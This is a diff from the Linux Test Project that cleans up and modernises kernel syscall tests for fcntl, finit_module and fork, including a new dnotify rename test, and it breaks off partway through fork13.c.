 #include <errno.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <string.h>
 #include <signal.h>
 #include <sys/types.h>
@@ -86,8 +85,7 @@
 static void setup(void)
 {
 	if ((tst_kvercmp(2, 6, 24)) < 0) {
-		tst_brkm(TCONF, NULL, "This test can only run on kernels"
-			 "that are 2.6.24 and higher");
+		tst_brkm(TCONF, NULL, "Kernels >= 2.6.24 required");
 	}
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl30.c b/testcases/kernel/syscalls/fcntl/fcntl30.c
index 4a409b8..27f4643 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl30.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl30.c
@@ -25,7 +25,6 @@
 #include <stdio.h>
 #include <errno.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <string.h>
 #include <signal.h>
 #include <sys/types.h>
@@ -80,11 +79,9 @@
 		tst_resm(TINFO, "orig_pipe_size: %d new_pipe_size: %d",
 			 orig_pipe_size, new_pipe_size);
 		if (TEST_RETURN >= new_pipe_size) {
-			tst_resm(TPASS, "fcntl test F_GETPIPE_SZ"
-				 "and F_SETPIPE_SZ success");
+			tst_resm(TPASS, "fcntl test F_GETPIPE_SZ and F_SETPIPE_SZ passed");
 		} else {
-			tst_resm(TFAIL, "fcntl test F_GETPIPE_SZ"
-				 "and F_SETPIPE_SZ fail");
+			tst_resm(TFAIL, "fcntl test F_GETPIPE_SZ and F_SETPIPE_SZ failed");
 		}
 		SAFE_CLOSE(cleanup, pipe_fds[0]);
 		SAFE_CLOSE(cleanup, pipe_fds[1]);
@@ -97,8 +94,7 @@
 static void setup(void)
 {
 	if ((tst_kvercmp(2, 6, 35)) < 0) {
-		tst_brkm(TCONF, NULL, "This test can only run on kernels"
-			 "that are 2.6.35 and higher");
+		tst_brkm(TCONF, NULL, "kernel >= 2.6.35 required");
 	}
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl31.c b/testcases/kernel/syscalls/fcntl/fcntl31.c
index fd284fd..f6e2b01 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl31.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl31.c
@@ -25,7 +25,6 @@
 #include <stdio.h>
 #include <errno.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <string.h>
 #include <signal.h>
 #include <sys/types.h>
@@ -211,7 +210,7 @@
 	}
 
 	tst_own_ex.type = F_OWNER_TID;
-	tst_own_ex.pid = ltp_syscall(__NR_gettid);
+	tst_own_ex.pid = tst_syscall(__NR_gettid);
 
 	TEST(fcntl(test_fd, F_SETOWN_EX, &tst_own_ex));
 	if (TEST_RETURN < 0) {
diff --git a/testcases/kernel/syscalls/fcntl/fcntl34.c b/testcases/kernel/syscalls/fcntl/fcntl34.c
index 3a68b51..3442114 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl34.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl34.c
@@ -7,7 +7,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <pthread.h>
 #include <sched.h>
 
diff --git a/testcases/kernel/syscalls/fcntl/fcntl35.c b/testcases/kernel/syscalls/fcntl/fcntl35.c
index c5a071d..8eb7148 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl35.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl35.c
@@ -26,7 +26,6 @@
 #include <sys/types.h>
 #include <pwd.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <stdlib.h>
 
 #include "lapi/fcntl.h"
diff --git a/testcases/kernel/syscalls/fcntl/fcntl36.c b/testcases/kernel/syscalls/fcntl/fcntl36.c
index 1d187c2..d6b07fc 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl36.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl36.c
@@ -34,7 +34,6 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <fcntl.h>
 #include <pthread.h>
 #include <sched.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/fcntl/fcntl37.c b/testcases/kernel/syscalls/fcntl/fcntl37.c
index c52af22..a624554 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl37.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl37.c
@@ -14,7 +14,6 @@
  */
 
 #include <unistd.h>
-#include <fcntl.h>
 #include <sys/types.h>
 #include <limits.h>
 #include <stdlib.h>
diff --git a/testcases/kernel/syscalls/fcntl/fcntl38.c b/testcases/kernel/syscalls/fcntl/fcntl38.c
index 6185d32..2f1b022 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl38.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl38.c
@@ -8,7 +8,6 @@
  *     Check that dnotify event is reported to both parent and subdir
  */
 
-#include <fcntl.h>
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
@@ -93,4 +92,5 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_dnotify,
+	.needs_kconfigs = (const char *[]) { "CONFIG_DNOTIFY=y", NULL },
 };
diff --git a/testcases/kernel/syscalls/fcntl/fcntl39.c b/testcases/kernel/syscalls/fcntl/fcntl39.c
new file mode 100644
index 0000000..973b6a6
--- /dev/null
+++ b/testcases/kernel/syscalls/fcntl/fcntl39.c
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2021 CTERA Networks. All Rights Reserved.
+ *
+ * Started by Amir Goldstein <amir73il@gmail.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check that dnotify DN_RENAME event is reported only on rename inside same parent.
+ */
+
+#include <fcntl.h>
+#include <signal.h>
+#include <stdio.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "lapi/fcntl.h"
+
+#define	TEST_DIR	"test_dir"
+#define	TEST_DIR2	"test_dir2"
+#define	TEST_FILE	"test_file"
+
+#define TEST_SIG (SIGRTMIN+1)
+
+static int parent_fd, subdir_fd;
+static int got_parent_event, got_subdir_event;
+
+static void dnotify_handler(int sig, siginfo_t *si, void *data LTP_ATTRIBUTE_UNUSED)
+{
+	if (si->si_fd == parent_fd)
+		got_parent_event = 1;
+	else if (si->si_fd == subdir_fd)
+		got_subdir_event = 1;
+	else
+		tst_brk(TBROK, "Got unexpected signal %d with si_fd %d", sig, si->si_fd);
+}
+
+static void setup_dnotify(int fd)
+{
+	struct sigaction act;
+
+	act.sa_sigaction = dnotify_handler;
+	sigemptyset(&act.sa_mask);
+	act.sa_flags = SA_SIGINFO;
+	sigaction(TEST_SIG, &act, NULL);
+
+	TEST(fcntl(fd, F_SETSIG, TEST_SIG));
+	if (TST_RET != 0) {
+		tst_brk(TBROK, "F_SETSIG failed errno = %d : %s",
+			TST_ERR, strerror(TST_ERR));
+	}
+
+	TEST(fcntl(fd, F_NOTIFY, DN_RENAME|DN_MULTISHOT));
+	if (TST_RET != 0) {
+		tst_brk(TBROK, "F_NOTIFY failed errno = %d : %s",
+			TST_ERR, strerror(TST_ERR));
+	}
+}
+
+static void verify_dnotify(void)
+{
+	parent_fd = SAFE_OPEN(".", O_RDONLY);
+	subdir_fd = SAFE_OPEN(TEST_DIR, O_RDONLY);
+
+	/* Watch renames inside ".", but not in and out of "." */
+	setup_dnotify(parent_fd);
+
+	/* Also watch for renames inside subdir, but not in and out of subdir */
+	setup_dnotify(subdir_fd);
+
+	/* Rename file from "." to subdir should not generate DN_RENAME on either */
+	tst_res(TINFO, "Testing no DN_RENAME on rename from parent to subdir");
+	SAFE_RENAME(TEST_FILE, TEST_DIR "/" TEST_FILE);
+
+	if (got_parent_event)
+		tst_res(TFAIL, "Got unexpected event on parent");
+	else
+		tst_res(TPASS, "No event on parent as expected");
+
+	if (got_subdir_event)
+		tst_res(TFAIL, "Got unexpected event on subdir");
+	else
+		tst_res(TPASS, "No event on subdir as expected");
+
+	/* Rename subdir itself should generate DN_RENAME on ".", but not on itself */
+	tst_res(TINFO, "Testing DN_RENAME on rename of subdir itself");
+	SAFE_RENAME(TEST_DIR, TEST_DIR2);
+
+	if (got_parent_event)
+		tst_res(TPASS, "Got event on parent as expected");
+	else
+		tst_res(TFAIL, "Missing event on parent");
+
+	if (got_subdir_event)
+		tst_res(TFAIL, "Got unexpected event on subdir");
+	else
+		tst_res(TPASS, "No event on subdir as expected");
+
+	SAFE_CLOSE(parent_fd);
+	SAFE_CLOSE(subdir_fd);
+
+	/* Cleanup before rerun */
+	SAFE_RENAME(TEST_DIR2 "/" TEST_FILE, TEST_FILE);
+	SAFE_RENAME(TEST_DIR2, TEST_DIR);
+	got_parent_event = 0;
+	got_subdir_event = 0;
+}
+
+static void setup(void)
+{
+	SAFE_MKDIR(TEST_DIR, 00700);
+	SAFE_TOUCH(TEST_FILE, 0666, NULL);
+}
+
+static void cleanup(void)
+{
+	if (parent_fd > 0)
+		SAFE_CLOSE(parent_fd);
+
+	if (subdir_fd > 0)
+		SAFE_CLOSE(subdir_fd);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_dnotify,
+	.needs_kconfigs = (const char *[]) { "CONFIG_DNOTIFY=y", NULL },
+};
diff --git a/testcases/kernel/syscalls/finit_module/finit_module01.c b/testcases/kernel/syscalls/finit_module/finit_module01.c
index 9c34282..21c35f1 100644
--- a/testcases/kernel/syscalls/finit_module/finit_module01.c
+++ b/testcases/kernel/syscalls/finit_module/finit_module01.c
@@ -51,4 +51,6 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	/* lockdown requires signed modules */
+	.skip_in_lockdown = 1,
 };
diff --git a/testcases/kernel/syscalls/finit_module/finit_module02.c b/testcases/kernel/syscalls/finit_module/finit_module02.c
index 9d9255c..b3437b5 100644
--- a/testcases/kernel/syscalls/finit_module/finit_module02.c
+++ b/testcases/kernel/syscalls/finit_module/finit_module02.c
@@ -25,6 +25,7 @@
 static char *mod_path;
 
 static int fd, fd_zero, fd_invalid = -1, fd_dir;
+static int kernel_lockdown;
 
 static struct tst_cap cap_req = TST_CAP(TST_CAP_REQ, CAP_SYS_MODULE);
 static struct tst_cap cap_drop = TST_CAP(TST_CAP_DROP, CAP_SYS_MODULE);
@@ -37,6 +38,7 @@
 	int flags;
 	int cap;
 	int exp_errno;
+	int skip_in_lockdown;
 	void (*fix_errno)(struct tcase *tc);
 };
 
@@ -48,14 +50,6 @@
 		tc->exp_errno = EBADF;
 }
 
-static void wo_file_setup(struct tcase *tc)
-{
-	if (tst_kvercmp(4, 6, 0) < 0)
-		tc->exp_errno = EBADF;
-	else
-		tc->exp_errno = ETXTBSY;
-}
-
 static void dir_setup(struct tcase *tc)
 {
 	if (tst_kvercmp(4, 6, 0) < 0)
@@ -65,15 +59,22 @@
 }
 
 static struct tcase tcases[] = {
-	{"invalid-fd", &fd_invalid, "", O_RDONLY | O_CLOEXEC, 0, 0, 0, bad_fd_setup},
-	{"zero-fd", &fd_zero, "", O_RDONLY | O_CLOEXEC, 0, 0, EINVAL, NULL},
-	{"null-param", &fd, NULL, O_RDONLY | O_CLOEXEC, 0, 0, EFAULT, NULL},
-	{"invalid-param", &fd, "status=invalid", O_RDONLY | O_CLOEXEC, 0, 0, EINVAL, NULL},
-	{"invalid-flags", &fd, "", O_RDONLY | O_CLOEXEC, -1, 0, EINVAL, NULL},
-	{"no-perm", &fd, "", O_RDONLY | O_CLOEXEC, 0, 1, EPERM, NULL},
-	{"module-exists", &fd, "", O_RDONLY | O_CLOEXEC, 0, 0, EEXIST, NULL},
-	{"file-not-readable", &fd, "", O_WRONLY | O_CLOEXEC, 0, 0, 0, wo_file_setup},
-	{"directory", &fd_dir, "", O_RDONLY | O_CLOEXEC, 0, 0, 0, dir_setup},
+	{"invalid-fd", &fd_invalid, "", O_RDONLY | O_CLOEXEC, 0, 0, 0, 0,
+		bad_fd_setup},
+	{"zero-fd", &fd_zero, "", O_RDONLY | O_CLOEXEC, 0, 0, EINVAL, 0, NULL},
+	{"null-param", &fd, NULL, O_RDONLY | O_CLOEXEC, 0, 0, EFAULT, 1, NULL},
+	{"invalid-param", &fd, "status=invalid", O_RDONLY | O_CLOEXEC, 0, 0,
+		EINVAL, 1, NULL},
+	{"invalid-flags", &fd, "", O_RDONLY | O_CLOEXEC, -1, 0, EINVAL, 0,
+		NULL},
+	{"no-perm", &fd, "", O_RDONLY | O_CLOEXEC, 0, 1, EPERM, 0, NULL},
+	{"module-exists", &fd, "", O_RDONLY | O_CLOEXEC, 0, 0, EEXIST, 1,
+		NULL},
+	{"file-not-readable", &fd, "", O_WRONLY | O_CLOEXEC, 0, 0, EBADF, 0,
+		NULL},
+	{"file-readwrite", &fd, "", O_RDWR | O_CLOEXEC, 0, 0, ETXTBSY, 0,
+		NULL},
+	{"directory", &fd_dir, "", O_RDONLY | O_CLOEXEC, 0, 0, 0, 0, dir_setup},
 };
 
 static void setup(void)
@@ -84,6 +85,7 @@
 
 	tst_module_exists(MODULE_NAME, &mod_path);
 
+	kernel_lockdown = tst_lockdown_enabled();
 	SAFE_MKDIR(TEST_DIR, 0700);
 	fd_dir = SAFE_OPEN(TEST_DIR, O_DIRECTORY);
 
@@ -102,6 +104,11 @@
 {
 	struct tcase *tc = &tcases[n];
 
+	if (tc->skip_in_lockdown && kernel_lockdown) {
+		tst_res(TCONF, "Kernel is locked down, skipping %s", tc->name);
+		return;
+	}
+
 	fd = SAFE_OPEN(mod_path, tc->open_flags);
 
 	if (tc->cap)
@@ -127,6 +134,11 @@
 }
 
 static struct tst_test test = {
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "032146cda855"},
+		{"linux-git", "39d637af5aa7"},
+		{}
+	},
 	.test = run,
 	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/fork/fork05.c b/testcases/kernel/syscalls/fork/fork05.c
index ce03dcd..9a99cff 100644
--- a/testcases/kernel/syscalls/fork/fork05.c
+++ b/testcases/kernel/syscalls/fork/fork05.c
@@ -133,7 +133,7 @@
 
 static void modify_ldt(int func, struct modify_ldt_ldt_s *ptr, int bytecount)
 {
-	ltp_syscall(__NR_modify_ldt, func, ptr, bytecount);
+	tst_syscall(__NR_modify_ldt, func, ptr, bytecount);
 }
 
 int main(void)
diff --git a/testcases/kernel/syscalls/fork/fork07.c b/testcases/kernel/syscalls/fork/fork07.c
index e596867..43b92c8 100644
--- a/testcases/kernel/syscalls/fork/fork07.c
+++ b/testcases/kernel/syscalls/fork/fork07.c
@@ -1,212 +1,72 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * NAME
- *	fork07.c
- *
- * DESCRIPTION
- *	Check that all children inherit parent's file descriptor
- *
- * ALGORITHM
- *	Parent opens a file, writes to it; forks Nforks children.
- *	Each child attempts to read the file then returns.
- *	Parent reports PASS if all children succeed.
- *
- * USAGE
- *	fork07
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	07/2002 Limited forking and split "infinite forks" test case to
- *	        fork12.c by Nate Straz
- *
- * RESTRICTIONS
- *	None
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 07/2002 Limited forking and split "infinite forks" testcase to fork12.c by
+ * Nate Straz
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Check that all children inherit parent's file descriptor.
+ *
+ * Parent opens a file and forks children. Each child reads a byte and checks
+ * that the value is correct. Parent checks that correct number of bytes was
+ * consumed from the file.
+ */
 
-char *TCID = "fork07";
-int TST_TOTAL = 1;
+#include <stdlib.h>
 
-static void help(void);
-static void setup(void);
-static void cleanup(void);
+#include "tst_test.h"
 
-static char pbuf[10];
-static char fnamebuf[40];
+#define NFORKS 100
+#define TESTFILE "testfile_fork07"
 
-static char *Nforkarg;
-static int Nflag;
-static int Nforks;
-static int vflag;
+static int fd;
+static char buf;
 
-static option_t options[] = {
-	{"N:", &Nflag, &Nforkarg},
-	{"v", &vflag, NULL},
-	{NULL, NULL, NULL}
-};
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int status, forks, pid1;
-	int ch_r_stat;
-	FILE *rea, *writ;
-	int c_pass, c_fail;
+	int ret, i;
 
-	int lc;
-
-	rea = NULL;
-	writ = NULL;
-
-	tst_parse_opts(ac, av, options, &help);
-
-	if (Nflag) {
-		if (sscanf(Nforkarg, "%i", &Nforks) != 1)
-			tst_brkm(TBROK, cleanup,
-				 "--N option arg is not a number");
-	} else
-		Nforks = 100;
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		writ = fopen(fnamebuf, "w");
-		if (writ == NULL)
-			tst_resm(TFAIL | TERRNO, "fopen(.. \"w\") failed");
-		rea = fopen(fnamebuf, "r");
-		if (rea == NULL)
-			tst_resm(TFAIL | TERRNO, "fopen(.. \"r\") failed");
-
-		fprintf(writ, "abcdefghijklmnopqrstuv");
-		fflush(writ);
-		sleep(1);
-
-		if ((getc(rea)) != 'a')
-			tst_resm(TFAIL, "getc from read side was confused");
-
-		/* fork off the children */
-		tst_resm(TINFO, "Forking %d children", Nforks);
-		tst_old_flush();
-		for (forks = 0; forks < Nforks; forks++) {
-			pid1 = fork();
-			if (pid1 == 0) {
-				ch_r_stat = getc(rea);
-#ifdef DEBUG
-				tst_resm(TINFO, "Child got char: %c",
-					 ch_r_stat);
-				tst_resm(TINFO,
-					 "integer value of getc in child "
-					 "expected %d got %d", 'b', ch_r_stat);
-#endif
-				if (ch_r_stat == 'b') {
-					if (vflag) {
-						tst_resm(TINFO,
-							 "%6d: read correct character",
-							 getpid());
-					}
-					exit(0);
-				} else {
-					if (vflag) {
-						tst_resm(TINFO,
-							 "%6d: read '%c' instead of 'b'",
-							 getpid(),
-							 (char)ch_r_stat);
-					}
-					exit(1);
-				}
-			} else if (pid1 == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fork failed");
+	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	for (i = 0; i < NFORKS; ++i) {
+		if (!SAFE_FORK()) {
+			SAFE_READ(1, fd, &buf, 1);
+			if (buf != 'a')
+				tst_res(TFAIL, "%6d: read '%c' instead of 'a'",
+					getpid(), buf);
+			exit(0);
 		}
-		tst_resm(TINFO, "Forked all %d children, now collecting",
-			 Nforks);
-
-		/* Collect all the kids and see how they did */
-
-		c_pass = c_fail = 0;
-		while (wait(&status) > 0) {
-			if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
-				c_pass++;
-			else
-				c_fail++;
-			--forks;
-		}
-		if (forks == 0) {
-			tst_resm(TINFO, "Collected all %d children", Nforks);
-			if (c_fail > 0)
-				tst_resm(TFAIL,
-					 "%d/%d children didn't read correctly from an inheritted fd",
-					 c_fail, Nforks);
-			else
-				tst_resm(TPASS,
-					 "%d/%d children read correctly from an inheritted fd",
-					 c_pass, Nforks);
-		} else if (forks > 0)
-			tst_brkm(TBROK, cleanup,
-				 "There should be %d more children to collect!",
-				 forks);
-		else
-
-			tst_brkm(TBROK, cleanup,
-				 "Collected %d more children then I should have!",
-				 abs(forks));
 	}
-	fclose(writ);
-	fclose(rea);
-	cleanup();
+	tst_reap_children();
 
-	tst_exit();
-}
+	ret = read(fd, &buf, 1);
+	if (ret == 0)
+		tst_res(TPASS, "read the end of file correctly");
+	else
+		tst_res(TFAIL, "read() returns %d, expected 0", ret);
 
-static void help(void)
-{
-	printf("  -N n    Create n children each iteration\n");
-	printf("  -v      Verbose mode\n");
+	SAFE_CLOSE(fd);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	umask(0);
-	TEST_PAUSE;
-	tst_tmpdir();
-
-	strcpy(fnamebuf, "fork07.");
-	sprintf(pbuf, "%d", getpid());
-	strcat(fnamebuf, pbuf);
+	tst_fill_file(TESTFILE, 'a', NFORKS, 1);
 }
 
 static void cleanup(void)
 {
-	int waitstatus;
-
-	/* collect our zombies */
-	while (wait(&waitstatus) > 0) ;
-
-	unlink(fnamebuf);
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_tmpdir = 1,
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/fork/fork08.c b/testcases/kernel/syscalls/fork/fork08.c
index 09c6167..34af476 100644
--- a/testcases/kernel/syscalls/fork/fork08.c
+++ b/testcases/kernel/syscalls/fork/fork08.c
@@ -1,172 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * NAME
- *	fork08.c
- *
- * DESCRIPTION
- *	Check if the parent's file descriptors are affected by
- *	actions in the child; they should not be.
- *
- * ALGORITHM
- *	Parent opens a file.
- *	Forks a child which closes a file.
- *	Parent forks a second child which attempts to read the (closed)
- *	file.
- *
- * USAGE
- *	fork08
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Check that the parent's file descriptors will not be affected by being
+ * closed in the child.
+ */
 
-char *TCID = "fork08";
-int TST_TOTAL = 1;
+#include <stdlib.h>
 
-static void setup(void);
-static void cleanup(void);
+#include "tst_test.h"
 
-static char pbuf[10];
-static char fnamebuf[40];
+#define TESTFILE "testfile_fork08"
 
-int main(int ac, char **av)
+static int fd;
+static char buf;
+
+static void run(void)
 {
-	int status, count, forks, pid1;
-	int ch_r_stat;
-	FILE *rea, *writ;
+	int ret;
 
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		writ = fopen(fnamebuf, "w");
-		if (writ == NULL)
-			tst_resm(TFAIL, "failed to fopen file for write");
-		rea = fopen(fnamebuf, "r");
-		if (rea == NULL)
-			tst_resm(TFAIL, "failed to fopen file for read");
-
-		fprintf(writ, "abcdefghijklmnopqrstuv");
-		fflush(writ);
-		sleep(1);
-
-		if ((getc(rea)) != 'a')
-			tst_resm(TFAIL, "getc from read side was confused");
-
-		forks = 0;
-
-forkone:
-		++forks;
-
-		pid1 = fork();
-		if (pid1 != 0) {
-			tst_resm(TINFO, "parent forksval: %d", forks);
-
-			if ((pid1 != (-1)) && (forks < 2))
-				goto forkone;
-			else if (pid1 < 0)
-				tst_resm(TINFO, "Fork failed");
-		} else {	/* child */
-			/*
-			 * If first child close the file descriptor for the
-			 * read stream
-			 */
-			if (forks == 1) {
-				if ((fclose(rea)) == -1) {
-					tst_resm(TFAIL, "error in first child"
-						 " closing fildes");
-				}
-				_exit(0);
-			}
-
-			/*
-			 * If second child attempt to read from the file
-			 */
-			else if (forks == 2) {
-				ch_r_stat = getc(rea);
-				tst_resm(TINFO, "second child got char: %c",
-					 ch_r_stat);
-				if (ch_r_stat == 'b') {
-					tst_resm(TPASS, "Test passed in child"
-						 "number %d", forks);
-					exit(0);
-				} else if (ch_r_stat == EOF) {
-					tst_resm(TFAIL, "Second child got "
-						 "EOF");
-					exit(-1);
-				} else {
-					tst_resm(TFAIL, "test failed in child"
-						 "no %d", forks);
-					exit(-1);
-				}
-			} else {	/* end of second child */
-				tst_resm(TINFO, "forksnumber: %d", forks);
-				exit(3);
-			}
-		}
-
-		for (count = 0; count <= forks; count++) {
-			wait(&status);
-			tst_resm(TINFO, "exit status of wait "
-				 " expected 0 got %d", status);
-			status >>= 8;
-			if (status == 0)
-				tst_resm(TPASS, "parent test PASSED");
-			else
-				tst_resm(TFAIL, "parent test FAILED");
-		}
-
-		tst_resm(TINFO, "Number of processes forked is %d", forks);
-		fclose(rea);
-		fclose(writ);
+	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	if (!SAFE_FORK()) {
+		SAFE_CLOSE(fd);
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	if (!SAFE_FORK()) {
+		SAFE_READ(1, fd, &buf, 1);
+		if (buf != 'a')
+			tst_res(TFAIL, "%6d: read '%c' instead of 'a'",
+				getpid(), buf);
+		SAFE_CLOSE(fd);
+		exit(0);
+	}
+	tst_reap_children();
+
+	ret = read(fd, &buf, 1);
+	if (ret == 0)
+		tst_res(TPASS, "read the end of file correctly");
+	else
+		tst_res(TFAIL | TERRNO, "read() returns %d, expected 0", ret);
+
+	SAFE_CLOSE(fd);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	umask(0);
-	TEST_PAUSE;
-	tst_tmpdir();
-
-	strcpy(fnamebuf, "fork07.");
-	sprintf(pbuf, "%d", getpid());
-	strcat(fnamebuf, pbuf);
+	tst_fill_file(TESTFILE, 'a', 1, 1);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_tmpdir = 1,
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/fork/fork13.c b/testcases/kernel/syscalls/fork/fork13.c
index 583c8bd..fe30d1e 100644
--- a/testcases/kernel/syscalls/fork/fork13.c
+++ b/testcases/kernel/syscalls/fork/fork13.c
@@ -1,5 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- * a race in pid generation that causes pids to be reused immediately
+ * Copyright (C) 2010  Red Hat, Inc.
+ * Copyright (C) 2022 Cyril Hrubis <chrubis@suse.cz>
+ */
+
+/*\
+ * [Description]
+ *
+ * A race in pid generation that causes pids to be reused immediately
  *
  * From the mainline commit 5fdee8c4a5e1800489ce61963208f8cc55e42ea1:
  *
@@ -9,8 +17,8 @@
  * implementation.  Furthermore, many shell scripts assume that pid
  * numbers will not be used for some length of time.
  *
- * Race Description:
- *
+ * [Race Description]
+ * ---------------------------------------------------------------------
  * A                                B
  *
  * // pid == offset == n            // pid == offset == n + 1
@@ -23,27 +31,7 @@
  *                                  // Next fork()...
  *                                  last = pid_ns->last_pid; // == n
  *                                  pid = last + 1;
- *
- * Copyright (C) 2010  Red Hat, Inc.
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * ---------------------------------------------------------------------
  */
 
 #include <sys/types.h>
@@ -54,97 +42,13 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include "test.h"
 
-char *TCID = "fork13";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
-static unsigned long pid_max;
-
-#define PID_MAX_PATH "/proc/sys/kernel/pid_max"
 #define PID_MAX 32768
+#define PID_MAX_STR "32768"
 #define RETURN 256
-
-static void setup(void);
-static int pid_distance(pid_t first, pid_t second);
-static void cleanup(void);
-static void check(void);
-
-int main(int argc, char *argv[])
-{
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
-	check();
-	cleanup();
-	tst_exit();
-}
-
-static void check(void)
-{
-	long lc;
-	pid_t last_pid = 0;
-	pid_t pid;
-	int child_exit_code, distance, reaped, status;
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		child_exit_code = lc % RETURN;
-		switch (pid = fork()) {
-		case -1:
